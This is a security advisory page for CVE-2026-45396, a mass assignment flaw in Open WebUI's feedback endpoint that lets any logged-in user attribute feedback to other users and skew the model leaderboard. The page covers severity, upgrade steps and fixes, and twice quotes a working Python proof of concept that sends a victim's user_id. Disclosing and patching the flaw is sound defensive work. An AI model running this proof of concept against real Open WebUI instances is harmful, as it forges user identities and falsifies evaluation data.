CVE-2026-45396: Open WebUI Mass Assignment Vulnerability

MODERATE
Advisory Identifier: GHSA-rjmp-vjf2-qf4g
CVSS 5.4
CWE-915
Published
Advisory Summary

CVE-2026-45396 is a MODERATE (CVSS 5.4) mass assignment vulnerability (CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes) affecting Open WebUI libraries in the PyPI ecosystem. The issue involves mass assignment via feedbackform extra=allow allows feedback user id spoofing and evaluation data manipulation. Remediation is available by upgrading affected packages to version 0.9.5.

CVE-2026-45396 at a Glance

CVE Identifier CVE-2026-45396
GHSA Identifier GHSA-rjmp-vjf2-qf4g
Severity MODERATE
CVSS v3.1 Base Score 5.4
CWE Classification CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
Affected Product Open WebUI
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 5.4

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity Low (I:L)
Availability Low (A:L)

How to Fix CVE-2026-45396

To remediate this vulnerability, upgrade all affected Open WebUI dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

open-webui fixed: 0.9.5
pip install open-webui>=0.9.5
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show open-webui

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-45396, inspect your installed packages using pip:

pip show open-webui

Analyze the terminal output to locate any version of Open WebUI in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.9.5), your application is affected.

Note: The pip show open-webui command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes, where the product receives input from an upstream component that specifies multiple attributes, properties, or fields that are to be initialized or updated in an object, but it does not properly control which attributes can be modified. In Open WebUI, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

# Mass Assignment in Feedback Creation Allows User ID Spoofing and Evaluation Data Manipulation ## Summary The `POST /api/v1/evaluations/feedback` endpoint in Open WebUI v0.9.2 is vulnerable to mass assignment via `FeedbackForm`, which uses `model_config = ConfigDict(extra='allow')`. Due to an insecure dictionary merge order in `insert_new_feedback()`, an authenticated attacker can inject a `user_id` field in the request body that overwrites the server-derived value, creating feedback records attributed to any arbitrary user. This corrupts the model evaluation leaderboard (Elo ratings) and enables identity spoofing. ## Details The vulnerability exists in two layers: ### 1. Model Layer — Insecure Dict Merge Order **File:** `backend/open_webui/models/feedbacks.py`, lines 148–160 ```python async def insert_new_feedback( self, user_id: str, form_data: FeedbackForm, db: Optional[AsyncSession] = None ) -> Optional[FeedbackModel]: async with get_async_db_context(db) as db: id = str(uuid.uuid4()) feedback = FeedbackModel( **{ 'id': id, 'user_id': user_id, # ← Server-set from auth token 'version': 0, **form_data.model_dump(), # ← OVERWRITES 'id', 'user_id', 'version' 'created_at': int(time.time()), 'updated_at': int(time.time()), } ) ``` In Python, when a dictionary literal contains duplicate keys, the **last value wins**. Since `**form_data.model_dump()` appears after `'user_id': user_id`, any `user_id` field in the form data overwrites the authenticated user's ID. ### 2. Schema Layer — `extra='allow'` on Request Form **File:** `backend/open_webui/models/feedbacks.py`, line 106 ```python class FeedbackForm(BaseModel): type: str data: Optional[RatingData] = None meta: Optional[dict] = None snapshot: Optional[SnapshotData] = None model_config = ConfigDict(extra='allow') # ← Accepts arbitrary extra fields ``` The `extra='allow'` config means Pydantic will accept and preserve any extra fields in the request body, including `user_id`, `id`, and `version`. These are then spread into the `FeedbackModel` constructor, overwriting server-set values. ### Contrast with Secure Pattern Other models in the same codebase use the correct ordering. For example, `backend/open_webui/models/functions.py`, line 120: ```python function = FunctionModel(**{ **form_data.model_dump(), # ← Spread FIRST 'user_id': user_id, # ← Server value AFTER → always wins }) ``` And `ModelForm` at `backend/open_webui/models/models.py` uses `extra='ignore'`, which is the strictest approach. ## Impact ### 1. User Identity Spoofing An attacker can create feedback records attributed to any user by specifying their `user_id`. The admin export endpoint (`GET /api/v1/evaluations/feedbacks/export`) and admin list (`GET /api/v1/evaluations/feedbacks/all`) will show the spoofed `user_id` as the feedback author. ### 2. Model Evaluation Leaderboard Manipulation The Elo rating system at `backend/open_webui/routers/evaluations.py` computes model rankings directly from feedback records. An attacker can inject fake rating feedback to: - Artificially inflate ratings for a specific model - Deflate ratings for competitor models - Make organizational model evaluation decisions unreliable ### 3. Record ID Control By injecting a custom `id`, an attacker controls the UUID of the feedback record. While this won't overwrite existing records (primary key constraint), it enables predictable record IDs that could be useful in other attack chains. ## PoC ```python import requests BASE_URL = "http://localhost:8080" # 1. Login as attacker session = requests.Session() login_resp = session.post(f"{BASE_URL}/api/v1/auths/signin", json={ "email": "attacker@example.com", "password": "attackerpass" }) token = login_resp.json()["token"] headers = {"Authorization": f"Bearer {token}"} # 2. Create feedback attributed to a different user (victim) VICTIM_USER_ID = "12345678-aaaa-bbbb-cccc-000000000000" resp = session.post( f"{BASE_URL}/api/v1/evaluations/feedback", headers=headers, json={ "type": "rating", "data": { "model_id": "gpt-4o", "rating": 1, "sibling_model_ids": ["claude-3-opus"], }, # Mass assignment: these extra fields are accepted due to extra='allow' # and overwrite server-set values due to dict merge order "user_id": VICTIM_USER_ID, # Overwrites authenticated user ID "version": 999, # Overwrites default version } ) feedback = resp.json() print(f"Feedback created with user_id: {feedback['user_id']}") # Expected: attacker's own user_id # Actual: VICTIM_USER_ID (12345678-aaaa-bbbb-cccc-000000000000) assert feedback["user_id"] == VICTIM_USER_ID, "Mass assignment successful!" ``` ## Severity **CVSS 3.1:** 5.4 (Medium) — `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L` - **Attack Vector:** Network - **Attack Complexity:** Low - **Privileges Required:** Low (any authenticated user) - **User Interaction:** None - **Impact:** Integrity (feedback data falsification) + limited Availability (leaderboard reliability) ## Suggested Remediation ### Option 1: Fix dict merge order (minimal fix) ```python feedback = FeedbackModel( **{ **form_data.model_dump(), # Spread FIRST 'id': id, # Server values AFTER (always win) 'user_id': user_id, 'version': 0, 'created_at': int(time.time()), 'updated_at': int(time.time()), } ) ``` ### Option 2: Remove `extra='allow'` from FeedbackForm (recommended) ```python class FeedbackForm(BaseModel): type: str data: Optional[RatingData] = None meta: Optional[dict] = None snapshot: Optional[SnapshotData] = None model_config = ConfigDict(extra='ignore') # Reject unexpected fields ``` ### Option 3: Explicit field assignment (most secure) ```python feedback = FeedbackModel( id=str(uuid.uuid4()), user_id=user_id, version=0, type=form_data.type, data=form_data.data.model_dump() if form_data.data else {}, meta=form_data.meta or {}, snapshot=form_data.snapshot.model_dump() if form_data.snapshot else {}, created_at=int(time.time()), updated_at=int(time.time()), ) ``` ## Affected Versions - v0.9.2 (current latest, confirmed vulnerable) - Likely all versions since feedback/evaluation feature was introduced ## References - Prior advisory: "Mass Assignment via Pydantic extra='allow' Allows Creating Folders in Other Users' Accounts" (patched in v0.9.0) — same root cause class, different endpoint

CVE-2026-45396 Affected Open WebUI Versions

1 component(s)
Fixed Versions:
0.9.5
Product / Package Ecosystem Affected Versions Fixed Version
open-webui
PyPI
< 0.9.5
0.9.5

References

Frequently Asked Questions

What is CVE-2026-45396?
CVE-2026-45396 is a security vulnerability in Open WebUI involving Mass Assignment via FeedbackForm extra=allow Allows Feedback User ID Spoofing and Evaluation Data Manipulation under CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes.
Which Open WebUI versions are affected?
Affected versions include releases prior to 0.9.5 across affected packages: open-webui.
What version fixes CVE-2026-45396?
Upgrading to 0.9.5 (or the latest patched release for your respective branch) resolves the vulnerability.
Is open-webui affected?
Yes, open-webui is affected in releases prior to 0.9.5. Upgrade your dependency to 0.9.5 or later.
What is the CVSS score of CVE-2026-45396?
CVE-2026-45396 has a CVSS v3.1 base score of 5.4 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L.
What CWE is associated with CVE-2026-45396?
CVE-2026-45396 is classified under CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes (The product receives input from an upstream component that specifies multiple attributes, properties, or fields that are to be initialized or updated in an object, but it does not properly control which attributes can be modified.).
How can I check PyPI dependencies for CVE-2026-45396?
Run the dependency tree command: 'pip show open-webui'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-rjmp-vjf2-qf4g",
  "modified" : "2026-05-15T23:55:14Z",
  "published" : "2026-05-14T20:26:18Z",
  "aliases" : [ "CVE-2026-45396" ],
  "summary" : "Open WebUI: Mass Assignment via FeedbackForm extra=allow Allows Feedback User ID Spoofing and Evaluation Data Manipulation",
  "details" : "# Mass Assignment in Feedback Creation Allows User ID Spoofing and Evaluation Data Manipulation\n\n## Summary\n\nThe `POST /api/v1/evaluations/feedback` endpoint in Open WebUI v0.9.2 is vulnerable to mass assignment via `FeedbackForm`, which uses `model_config = ConfigDict(extra='allow')`. Due to an insecure dictionary merge order in `insert_new_feedback()`, an authenticated attacker can inject a `user_id` field in the request body that overwrites the server-derived value, creating feedback records attributed to any arbitrary user. This corrupts the model evaluation leaderboard (Elo ratings) and enables identity spoofing.\n\n## Details\n\nThe vulnerability exists in two layers:\n\n### 1. Model Layer — Insecure Dict Merge Order\n\n**File:** `backend/open_webui/models/feedbacks.py`, lines 148–160\n\n```python\nasync def insert_new_feedback(\n    self, user_id: str, form_data: FeedbackForm, db: Optional[AsyncSession] = None\n) -> Optional[FeedbackModel]:\n    async with get_async_db_context(db) as db:\n        id = str(uuid.uuid4())\n        feedback = FeedbackModel(\n            **{\n                'id': id,\n                'user_id': user_id,       # ← Server-set from auth token\n                'version': 0,\n                **form_data.model_dump(),  # ← OVERWRITES 'id', 'user_id', 'version'\n                'created_at': int(time.time()),\n                'updated_at': int(time.time()),\n            }\n        )\n```\n\nIn Python, when a dictionary literal contains duplicate keys, the **last value wins**. Since `**form_data.model_dump()` appears after `'user_id': user_id`, any `user_id` field in the form data overwrites the authenticated user's ID.\n\n### 2. Schema Layer — `extra='allow'` on Request Form\n\n**File:** `backend/open_webui/models/feedbacks.py`, line 106\n\n```python\nclass FeedbackForm(BaseModel):\n    type: str\n    data: Optional[RatingData] = None\n    meta: Optional[dict] = None\n    snapshot: Optional[SnapshotData] = None\n    model_config = ConfigDict(extra='allow')  # ← Accepts arbitrary extra fields\n```\n\nThe `extra='allow'` config means Pydantic will accept and preserve any extra fields in the request body, including `user_id`, `id`, and `version`. These are then spread into the `FeedbackModel` constructor, overwriting server-set values.\n\n### Contrast with Secure Pattern\n\nOther models in the same codebase use the correct ordering. For example, `backend/open_webui/models/functions.py`, line 120:\n\n```python\nfunction = FunctionModel(**{\n    **form_data.model_dump(),   # ← Spread FIRST\n    'user_id': user_id,         # ← Server value AFTER → always wins\n})\n```\n\nAnd `ModelForm` at `backend/open_webui/models/models.py` uses `extra='ignore'`, which is the strictest approach.\n\n## Impact\n\n### 1. User Identity Spoofing\nAn attacker can create feedback records attributed to any user by specifying their `user_id`. The admin export endpoint (`GET /api/v1/evaluations/feedbacks/export`) and admin list (`GET /api/v1/evaluations/feedbacks/all`) will show the spoofed `user_id` as the feedback author.\n\n### 2. Model Evaluation Leaderboard Manipulation\nThe Elo rating system at `backend/open_webui/routers/evaluations.py` computes model rankings directly from feedback records. An attacker can inject fake rating feedback to:\n- Artificially inflate ratings for a specific model\n- Deflate ratings for competitor models\n- Make organizational model evaluation decisions unreliable\n\n### 3. Record ID Control\nBy injecting a custom `id`, an attacker controls the UUID of the feedback record. While this won't overwrite existing records (primary key constraint), it enables predictable record IDs that could be useful in other attack chains.\n\n## PoC\n\n```python\nimport requests\n\nBASE_URL = \"http://localhost:8080\"\n\n# 1. Login as attacker\nsession = requests.Session()\nlogin_resp = session.post(f\"{BASE_URL}/api/v1/auths/signin\", json={\n    \"email\": \"attacker@example.com\",\n    \"password\": \"attackerpass\"\n})\ntoken = login_resp.json()[\"token\"]\nheaders = {\"Authorization\": f\"Bearer {token}\"}\n\n# 2. Create feedback attributed to a different user (victim)\nVICTIM_USER_ID = \"12345678-aaaa-bbbb-cccc-000000000000\"\n\nresp = session.post(\n    f\"{BASE_URL}/api/v1/evaluations/feedback\",\n    headers=headers,\n    json={\n        \"type\": \"rating\",\n        \"data\": {\n            \"model_id\": \"gpt-4o\",\n            \"rating\": 1,\n            \"sibling_model_ids\": [\"claude-3-opus\"],\n        },\n        # Mass assignment: these extra fields are accepted due to extra='allow'\n        # and overwrite server-set values due to dict merge order\n        \"user_id\": VICTIM_USER_ID,  # Overwrites authenticated user ID\n        \"version\": 999,             # Overwrites default version\n    }\n)\n\nfeedback = resp.json()\nprint(f\"Feedback created with user_id: {feedback['user_id']}\")\n# Expected: attacker's own user_id\n# Actual: VICTIM_USER_ID (12345678-aaaa-bbbb-cccc-000000000000)\nassert feedback[\"user_id\"] == VICTIM_USER_ID, \"Mass assignment successful!\"\n```\n\n## Severity\n\n**CVSS 3.1:** 5.4 (Medium) — `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L`\n\n- **Attack Vector:** Network\n- **Attack Complexity:** Low\n- **Privileges Required:** Low (any authenticated user)\n- **User Interaction:** None\n- **Impact:** Integrity (feedback data falsification) + limited Availability (leaderboard reliability)\n\n## Suggested Remediation\n\n### Option 1: Fix dict merge order (minimal fix)\n```python\nfeedback = FeedbackModel(\n    **{\n        **form_data.model_dump(),   # Spread FIRST\n        'id': id,                    # Server values AFTER (always win)\n        'user_id': user_id,\n        'version': 0,\n        'created_at': int(time.time()),\n        'updated_at': int(time.time()),\n    }\n)\n```\n\n### Option 2: Remove `extra='allow'` from FeedbackForm (recommended)\n```python\nclass FeedbackForm(BaseModel):\n    type: str\n    data: Optional[RatingData] = None\n    meta: Optional[dict] = None\n    snapshot: Optional[SnapshotData] = None\n    model_config = ConfigDict(extra='ignore')  # Reject unexpected fields\n```\n\n### Option 3: Explicit field assignment (most secure)\n```python\nfeedback = FeedbackModel(\n    id=str(uuid.uuid4()),\n    user_id=user_id,\n    version=0,\n    type=form_data.type,\n    data=form_data.data.model_dump() if form_data.data else {},\n    meta=form_data.meta or {},\n    snapshot=form_data.snapshot.model_dump() if form_data.snapshot else {},\n    created_at=int(time.time()),\n    updated_at=int(time.time()),\n)\n```\n\n## Affected Versions\n\n- v0.9.2 (current latest, confirmed vulnerable)\n- Likely all versions since feedback/evaluation feature was introduced\n\n## References\n\n- Prior advisory: \"Mass Assignment via Pydantic extra='allow' Allows Creating Folders in Other Users' Accounts\" (patched in v0.9.0) — same root cause class, different endpoint",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "open-webui"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.9.5"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/open-webui/open-webui/security/advisories/GHSA-rjmp-vjf2-qf4g"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-45396"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/open-webui/open-webui"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/open-webui/open-webui/releases/tag/v0.9.5"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-915" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-14T20:26:18Z",
    "nvd_published_at" : "2026-05-15T21:16:37Z"
  }
}